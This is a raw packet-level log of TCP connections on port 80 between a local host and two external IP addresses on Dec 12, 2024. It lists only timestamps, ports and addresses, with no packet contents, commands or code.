Dec 12, 2024 14:26:39.763355017 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.851319075 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.851336002 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.851349115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.851434946 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.851499081 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.851582050 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.851594925 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.851605892 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.851625919 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.851669073 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.852346897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.852361917 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.852407932 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.852452993 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.852710962 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.852722883 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.852732897 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.852786064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.852786064 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.853461981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.853477001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.853488922 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.853554010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.853554010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.854238987 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.854252100 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.854263067 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.854306936 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.854321957 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.854964972 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.855009079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.855061054 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.855073929 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.855097055 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.855119944 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.855897903 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.855911016 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.855921030 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.855954885 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.855988026 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.856609106 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.856621981 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.856632948 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.856657028 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.856725931 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.857419968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.857433081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.857486010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.857486010 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.857669115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.857742071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.858171940 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.858184099 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.858195066 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.858247995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.858247995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.858839989 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.858958006 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.858963013 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.858975887 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.859016895 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.859741926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.859782934 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.859796047 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.859827042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.859827042 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.859843969 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.860663891 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.860683918 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.860696077 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.860711098 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.860737085 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.861377001 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.861391068 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.861402988 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.861450911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.861450911 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.862286091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.862301111 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.862312078 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.862340927 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.862416983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.862998009 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.863044024 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.863059998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.863074064 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.863106966 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.863120079 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.863945007 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.863964081 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.863975048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.863996983 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.864048958 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.864392996 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.864454031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.864464998 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.864475012 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.864509106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.864509106 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.865271091 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.865283012 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.865294933 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.865324020 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.865371943 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.866031885 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.866050959 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.866061926 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.866070032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.866106987 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.866723061 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.866743088 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.866754055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.866777897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.866836071 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.867589951 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.867602110 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.867614031 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.867659092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.867659092 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.868280888 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.868330956 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.868338108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.868350029 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.868398905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.868398905 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.869303942 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.869316101 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.869328022 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.869352102 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.869379044 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.869424105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.869424105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.870095968 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.870148897 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.870170116 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.870182037 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.870213032 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.870235920 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.870872021 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.870884895 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.870897055 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.870937109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.870937109 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.871690035 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.871701956 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.871714115 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.871764898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.871766090 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.872481108 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.872536898 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.872566938 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.872580051 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.872626066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.872626066 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:39.873198986 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:39.873275995 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:43.160042048 CET	49832	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:43.160788059 CET	49852	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:43.281253099 CET	80	49832	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:43.281347990 CET	49832	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:43.281909943 CET	80	49852	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:43.282064915 CET	49852	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:43.328602076 CET	49852	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:43.448600054 CET	80	49852	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:44.618964911 CET	80	49852	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:44.619113922 CET	49852	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:47.829467058 CET	49852	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:47.829828024 CET	49860	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:47.949573040 CET	80	49860	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:47.949726105 CET	49860	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:47.949734926 CET	80	49852	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:47.949795008 CET	49852	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:48.036746025 CET	49860	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:48.156537056 CET	80	49860	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:49.332098961 CET	80	49860	185.215.113.43	192.168.2.4
Dec 12, 2024 14:26:49.332185030 CET	49860	80	192.168.2.4	185.215.113.43
Dec 12, 2024 14:26:49.414333105 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:49.414652109 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:49.535445929 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:49.535464048 CET	80	49837	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:49.535525084 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:49.535552025 CET	49837	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:49.571099997 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:49.746134043 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865148067 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865214109 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865226030 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865238905 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865276098 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865276098 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865403891 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865416050 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865437984 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865443945 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865453959 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865475893 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865525007 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865535975 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865566969 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865581036 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865654945 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865668058 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.865695953 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.865706921 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.985084057 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.985136986 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.985172033 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.987466097 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:50.989273071 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:50.989320993 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.057322979 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.057401896 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.057415009 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.057461023 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.061454058 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.061537027 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.061626911 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.061676025 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.069916010 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.069933891 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.069993019 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.070005894 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.078330040 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.078356028 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.078383923 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.078417063 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.086733103 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.086800098 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.086985111 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.087119102 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.095262051 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.095333099 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.095354080 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.095397949 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.103698969 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.103797913 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.103904009 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.112046003 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.112090111 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.112128019 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.112174988 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.120451927 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.120532036 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.120536089 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.120578051 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.128820896 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.128906012 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.128950119 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.128993034 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.136703014 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.136790037 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.136877060 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.136920929 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.177495003 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.177592039 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.177664995 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.177706003 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.249844074 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.249957085 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.250056028 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.250098944 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.252274990 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.252330065 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.252557993 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.252600908 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.256958961 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.257020950 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.257061005 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.257101059 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.261513948 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.261569023 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.261605978 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.261646986 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.266155005 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.266216040 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.266305923 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.266346931 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.270940065 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.270996094 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.271111965 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.271155119 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.275715113 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.275774002 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.275791883 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.275867939 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.280419111 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.280479908 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.281594992 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.281642914 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.285024881 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.285077095 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.285276890 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.285317898 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.289702892 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.289760113 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.289887905 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.289933920 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.294382095 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.294437885 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.294750929 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.294797897 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.299088955 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.299146891 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.299448967 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.299494982 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.303766966 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.303848028 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.303966999 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.304011106 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.308440924 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.308460951 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.308497906 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.308527946 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.313235044 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.313292027 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.313374996 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.313414097 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.317029953 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.317071915 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.317086935 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.317130089 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.320662975 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.320714951 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.320833921 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.320874929 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.324661970 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.324709892 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.324744940 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.324779034 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.328102112 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.328151941 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.328188896 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.328231096 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.331890106 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.331948996 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.331964016 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.331990957 CET	49865	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:51.335685015 CET	80	49865	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:51.335704088 CET	80	49865	31.41.244.11	192.168.2.4
